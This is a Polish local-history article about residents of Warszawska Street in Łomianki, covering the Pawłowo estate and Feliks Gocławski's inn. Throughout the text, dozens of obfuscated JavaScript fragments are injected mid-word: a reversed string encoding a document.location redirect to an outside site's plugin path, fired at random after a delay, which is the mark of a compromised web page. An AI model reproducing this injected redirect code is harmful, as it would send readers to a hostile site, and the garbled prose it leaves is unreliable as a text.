Odcinek II prezentujący mieszkańców Łomianek, zamieszkałych przy ulicy Warszawskiej
Wielu wędkarzy korzystało z faktu, że Jezioro Pawłowskie było świetnie zarybione, łowiąc toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorodne ryby. Ludność chętnie korzystała z kąpieli lub opalała się po drugiej stronie jeziora.
Państwo Olędzcy – właściciele majątku – mieli jednego syna, który kształcił się w Warszawie. Niestety Niemcy po wkroczeniu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Łomianek spalili zabytkowy dworek wraz z drewnianą zabutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dową gospodarczą.
W 1942 r. majątek nabyło rodzeństwo Stefania Nosarzewska i jej brat Wacław. Nosarzewscy posiadali majątek ziemski na Bródnie zwany „Hipszówka”. Po zakupie Pawłowa sprowadzono z Wilanowa – na gospodarza – Stefana Goździka z siedmiorgiem dzieci. Rodzina ta zamieszkała początkowo w budynku folwarcznym drewnianym, a po jego spaleniu w 1945 r. przenieśli się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do murowanego budynku o czterech izbach przy ul. Fabrycznej. W jednej z nich mieszkał Wacław Nosarzewski jako nadzorujący właściciel.
Stefan Goździk był odpowiedzialny za całą produkcję rolną oraz hotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowlę w gospodarstwie.
Po wojnie już w latach 60. państwo Nosarzewscy część majątku sprzedali i w granicach obecnych ulic Kiepury, Fabrycznej i Warszawskiej powstało osiedle zwane Pawłowo. Zabutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowano je jednolitymi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domami mieszkalnymi i wytyczono ulice. Kupujący mogli korzystać z kredytów, inni kupowali działki za gotówkę. Tak powstawało no-we osiedle dziś również zwane Pawłowo. Obecnie właściciele w dużej części pozmieniali wygląd tych toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domów, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowując toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowe pomieszczenia i modernizując część zabutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowań.
Na rogu ulic Warszawskiej i Wiślanej, gdzie obecnie stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toi budynek sióstr zakonnych Salezjanek, stała słynna karczma Feliksa Gocławskiego. Budynek był drewniany, parterowy i posiadał 4 izby. W dwóch przyjmowano gości, w pozostałych znajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowała się kuchnia i część mieszkalna. W podwórzu stała studnia z betoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tonowych kręgów oraz bu-dynki gospodarcze. Wjazd na podwórze był od ul. Wiślanej.W pierwszej izbie karczmy stał stylowy bufet i stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolik, a w drugiej, obszernej izbie stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toliki dla gości i bilard. Prowadzono również sprzedaż na wynos.
Serwowano tradycyjne dania, pyszne zakąski oraz piwo z beczki, z browarów Haberbuscha i Schilego (po wojnie otrzymały one nazwę Browar Warszawski. Red.). Dodatkowo podawano napoje chłodzące, lody własnej produkcji i kwas chlebowy. Bezpośrednio z zaplecza kuchennego serwowano smacznie przyrządzone potrawy. W knajpie było gwarno i wesoło, a klientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom przygrywała muzyka z gramofonu. Był toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wtedy jedyny tego rodzaju lokal w Łomiankach, cieszący się dużym powodzeniem gości przyjeżdżających z Warszawy i okolicznych miejscowości. Można było zagrać w bilard, organizowano konkursy z nagrodami. Obsługę stanowiła rodzina właściciela, dwie córki, syn, żona i sam właściciel.
Wyjątkowo dużo gości bawiło w soboty i niedziele, tłoczno bywało również w tygodniu w poniedziałki i w czwartki – w godzinach wieczornych. Rolnicy wsi nadwiślańskich z terenu Puszczy Kampinoskiej, a także Nowin, Leoncina, Kazunia, Cybulic, Czosnowa, zdążając toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Warszawy pojazdami konnymi z produktami rolnymi, owocami i sianem, zatrzymywali się tu na odpoczynek. Wyprzęgali konie dając im obrok, a sami w tym czasie wchodzili toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do karczmy na posiłek, herbatę, piwo i gorące dania. Rolnicy zatrzymywali się od godziny 17 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do 1 w nocy i po odpoczynku ruszali w drogę z toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarami zapakowanymi na wozy konne, wtedy jeszcze na kołach drewnianych. Swoje toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towary sprzedawali na targach w Wołówce przy ul. Muranowskiej obok dworca Gdańskiego, na Marymoncie, Powązkach i Nowym Mieście.
Po sprzedaży toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru wracający rolnicy ponownie zatrzymywali się w Łomiankach, wstępując toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do karczmy Gocławskiego, jedni pożywiali się, inni toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowo zakrapiali posiłek alkoholem. Odjeżdżali z Łomianek na wesoło ze śpiewem na ustach, ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to miał lepsze konie, wyprzedzał pozostałych. Najczęściej powroty następowały we wtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torki i piątki.
Po wybuchu wojny karczma jeszcze we wrześniu 1939 r. była czynna. Cofające się oddziały Wojska Polskiego idąc na pomoc walczącej Warszawie zatrzymywały się w pośpiechu. Tu otrzymywali żywność i poili konie przy studni właściciela. Był czas na chwilowy odpoczynek, po czym kierowali się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Warszawy. Wartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodać, że pan Feliks Gocławski pomagał i żywił żołnierzy bez zapłaty. Karczmę Niemcy spalili zaraz po wkroczeniu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do Łomianek.
Kolejny odcinek w następnym numerze
PODPIS
Bądź pierwszą osobą, która zostawi swój komentarz